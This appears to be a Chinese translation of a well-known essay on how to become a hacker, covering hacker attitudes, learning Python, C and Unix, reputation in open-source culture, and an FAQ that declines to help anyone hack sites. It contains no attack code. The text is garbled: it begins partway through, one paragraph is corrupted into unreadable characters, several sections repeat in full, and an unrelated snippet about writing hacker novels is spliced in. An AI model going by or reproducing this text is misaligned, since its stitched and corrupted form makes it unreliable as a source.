同流行的传说相反,做一名黑客并不一定要你是个怪人。然而,很多黑客都是怪人。做一个出世者有助于你集中精力进行更重要的事情,如思考和编程。
因此,很多黑客都愿意接受“怪人”这个标签,更有甚者愿意使用“傻子(geek)”一词并自以为豪---这是宣布他们与主流社会不合作的声明。
如果你能集中足够的精力来做好黑客同时还能有正常的生活,这很好。今天作到这一点比我在1970年代是个新手是要容易的多。今天主流文化对技术怪人要友善的多。甚至有更多的人意识到黑客通常更富爱心,是块很好的做恋人和配偶的材料。 更多信息见 Girl's Guide to Geek Guys.
如果你因为生活上不如意而为做黑客而吸引,那也没什么---至少你不会分神了。或许以后你会找到自己的另一半。
---风格的意义
重申一下,鲆幻�诳停�惚匦虢�牒诳途�裰�小5蹦悴辉诩扑慊�呱鲜保�闳匀挥泻芏嗍虑榭勺觥K�遣⒉荒芴娲�嬲�谋喑蹋�挥惺裁茨芴娲�喑蹋���芏嗪诳投寄敲醋觯�⒏械剿�怯牒诳途�翊嬖谝恢直局实墓亓�?
阅读科幻小说。参加科幻小说讨论会。(一个很好的寻找黑客的场合)
研究禅宗,或练功习武。
练就一双精确的耳朵,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。
提高对双关语的鉴赏。
学会流畅地用母语写作。(令人惊讶的时,我所知道的所有最棒的黑客,都是很不错的作家)
这些事情,你做的越多,你就越适合做黑客。至于为什么偏偏是这些事情,原因并不很清楚,但它们都涉及到了左-右脑的综合技巧,这似乎是关键所在。(黑客们既需要清晰的逻辑思维,有时也需要强烈的跳出逻辑之外的直觉)
最后,还有一些不要去做的事情。
不要使用愚蠢的,过于哗众取宠的ID
不要自称为网络崩客(punk) ,也不要对那些人浪费时间
不要寄出充满拼写和语法错误的email,或张贴错误百出的文章
做以上的事情,会使大大损害你的声誉。黑客们个个记忆超群---你将需要数年的时间让他们忘记你的愚蠢。
---其它资源
Peter Seebach为那些不知如何同黑客打交道的经理们维护了一个非常精彩的黑客FAQ。
The Loginataka 有许多关于如何正确培养一个Unix黑客的态度的材料。
我也曾写过一篇“黑客文化简史”。
我还写过另一篇文章,“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
---FAQ(常问问题解答)
问:你会教我如何做黑客吗?
自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。
甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。
首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。
问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?
No. 任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。 任何发给我的此类mail都会被忽略或被痛斥。
问:哪里能找到真正的可以与之交流的黑客?
最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。
问:我该先学哪种语言?
HTML, 如果你还不会的话.
但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始. 会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。
C 是非常重要的,但它却是最难学的。不要一开始就尝试学C。
问:开放源码的自由软件不会使程序员饿肚子吗?
这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。
如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。
问:我从何学起?哪里有免费的Unix?
本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力。
黑客文怎么写才好看
写黑客小说,最好能另辟蹊径。
黑客小说的一般套路:
写黑客技术的小说本来就很难,要是一点功底都没有写出来估计连看的人都木有。但是别老是那几样,先是防火墙,再是压缩技术,然后就是汉语编程,接着就是人工ID,跟着虚拟游戏就出来了。
什么是黑客啊
---什么是黑客?
Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)
长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。 这个文化的参与者们创造了“黑客”这个词。 黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客。
黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。 但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。
另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。
根本的区别是:黑客们建设,而骇客们破坏。
如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。 关于骇客,我只想说这么多。
---黑客的态度
黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我, 我为人人。
要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。
So,如果你想做一名黑客,请重复以下事情直到你相信它们:
1 这世界充满待解决的迷人问题
做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须
要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)
2. 一个问题不应该被解决两次
聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。 作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。
(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)
3. 无聊和乏味的工作是罪恶
黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。 要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。
(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)
4 自由就是好
黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。
(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)
权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。
5. 态度不能替代能力
要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。
因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。
如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。 要想成为一名黑客,这一点非常重要。
---基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。 这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1 学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP 值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。 (Python, C, Perl, and LISP). 除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2 得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的( 今天的孩子们真幸福 :-) )。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看: 哪里能得到 Linux.
3 学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的), 你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
---黑客文化中的地位
象大部分不涉及金钱的文化一样,黑客王国的运转靠声誉维护。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要有那些和你具有同样技术水平的人或比你更牛的人去评判的。
相应地,当你在玩黑客游戏时,你知道,你的分数要靠其他黑客对你的技术的评估给出。(这就是为什么只有在其它黑客称你为黑客是,你才算得上是一名黑客)这个事实常会被黑客是一项孤独的工作这一印象所减弱;它也会被另一个黑客文化的禁忌所减弱(此禁忌的效力正在减弱但仍很强大):拒绝承认自我或外部评估是一个人的动力。
特别地,黑客王国被人类学家们称为一种精英文化。在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的才智和你的技术成果。
要获得其他黑客的尊敬,你可以做以下五种事情:
1. 写开放源码的软件
第一个(也是最基本和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序的原代码公布给大家共享。
(过去我们称之为“自由软件-free software”,但这却使很多不知free的精确含义的人感到不解。现在我们很多人使用“开放源码-open source”这个词)
黑客王国里最受尊敬的大牛们是那些写了大型的、具有广泛用途的软件,并把它们公布出去,使每人都在使用他的软件的人。
2. 帮助测试并修改开放源码的软件
黑客们也尊敬也那些使用、测试开放源码软件的人。在这个并非完美的世界上,我们不可避免地要花大量软件开发的时间在测试和抓臭虫阶段。 这就是为什么任何开放源码的作者稍加思考后都会告诉你好的beta测试员象红宝石一样珍贵。 (他知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布的软件中的bug,愿意使用一些简单的诊断工具) 甚至他们中的一个能判断出哪个测试阶段是延长的、令人精疲力尽的噩梦,哪个只是一个有益健康的玩意儿。
如果你是个新手,试着找一个赶兴趣的正在开发的程序,作一个好的beta测试员。从帮着测试,到帮着抓臭虫,到最后帮着改程序,你会不断进步。以后你写程序时,会有别人来帮你,你就得到了你当初善举的回报。
3. 公布有用的信息
另一个好事是收集整理网页上有用有趣的信息或文档如FAQ。许多主要FAQ的维护者和其他开放源码的作者一样受到大家的尊敬。
4. 帮助维护基础设施的运转
黑客文化是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成----管理mail list,newsgroup,维护大量文档,开发RFC和其它技术标准等等。做这类事情的人会得到很多人的尊敬,因为每人都知道这些事情是耗时耗力的苦役,不象编码那样好玩。做这些事情需要毅力。
5. 为黑客文化本身服务
最后,你可以为这个文化本身服务(例如象我这样,写一个“如何成为黑客”的初级教程 :-) )(hehe,象我这样把它翻成中文 :-) ) 这并非一定要在你已经在这里呆了很久,精通所有以上4点,获得一定声誉后后才能去做。
黑客文化没有领袖。精确地说,它确实有些文化英雄和部落长者和历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。
记住:黑客们不相信他们的部落长者的自夸的炫耀,因此很明显地去追求这种名誉是危险的。你必须具备基本的谦虚和优雅。
---黑客和怪人(Nerd)的联系
同流行的传说相反,做一名黑客并不一定要你是个怪人。然而,很多黑客都是怪人。做一个出世者有助于你集中精力进行更重要的事情,如思考和编程。
因此,很多黑客都愿意接受“怪人”这个标签,更有甚者愿意使用“傻子(geek)”一词并自以为豪---这是宣布他们与主流社会不合作的声明。
如果你能集中足够的精力来做好黑客同时还能有正常的生活,这很好。今天作到这一点比我在1970年代是个新手是要容易的多。今天主流文化对技术怪人要友善的多。甚至有更多的人意识到黑客通常更富爱心,是块很好的做恋人和配偶的材料。 更多信息见 Girl's Guide to Geek Guys.
如果你因为生活上不如意而为做黑客而吸引,那也没什么---至少你不会分神了。或许以后你会找到自己的另一半。
---风格的意义
重申一下,做一名黑客,你必须进入黑客精神之中。当你不在计算机边上时,你仍然有很多事情可做。它们并不能替代真正的编程(没有什么能替代编程),但很多黑客都那么做,并感到它们与黑客精神存在一种本质的关联。
阅读科幻小说。参加科幻小说讨论会。(一个很好的寻找黑客的场合)
研究禅宗,或练功习武。
练就一双精确的耳朵,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。
提高对双关语的鉴赏。
学会流畅地用母语写作。(令人惊讶的时,我所知道的所有最棒的黑客,都是很不错的作家)
这些事情,你做的越多,你就越适合做黑客。至于为什么偏偏是这些事情,原因并不很清楚,但它们都涉及到了左-右脑的综合技巧,这似乎是关键所在。(黑客们既需要清晰的逻辑思维,有时也需要强烈的跳出逻辑之外的直觉)
最后,还有一些不要去做的事情。
不要使用愚蠢的,过于哗众取宠的ID
不要自称为网络崩客(punk) ,也不要对那些人浪费时间
不要寄出充满拼写和语法错误的email,或张贴错误百出的文章
做以上的事情,会使大大损害你的声誉。黑客们个个记忆超群---你将需要数年的时间让他们忘记你的愚蠢。
---其它资源
Peter Seebach为那些不知如何同黑客打交道的经理们维护了一个非常精彩的黑客FAQ。
The Loginataka 有许多关于如何正确培养一个Unix黑客的态度的材料。
我也曾写过一篇“黑客文化简史”。
我还写过另一篇文章,“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
---FAQ(常问问题解答)
问:你会教我如何做黑客吗?
自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。
甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。
首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。
问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?
No. 任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。 任何发给我的此类mail都会被忽略或被痛斥。
问:哪里能找到真正的可以与之交流的黑客?
最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。
问:我该先学哪种语言?
HTML, 如果你还不会的话.
但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始. 会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。
C 是非常重要的,但它却是最难学的。不要一开始就尝试学C。
问:开放源码的自由软件不会使程序员饿肚子吗?
这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。
如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。
问:我从何学起?哪里有免费的Unix?
本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力。
现在开始吧......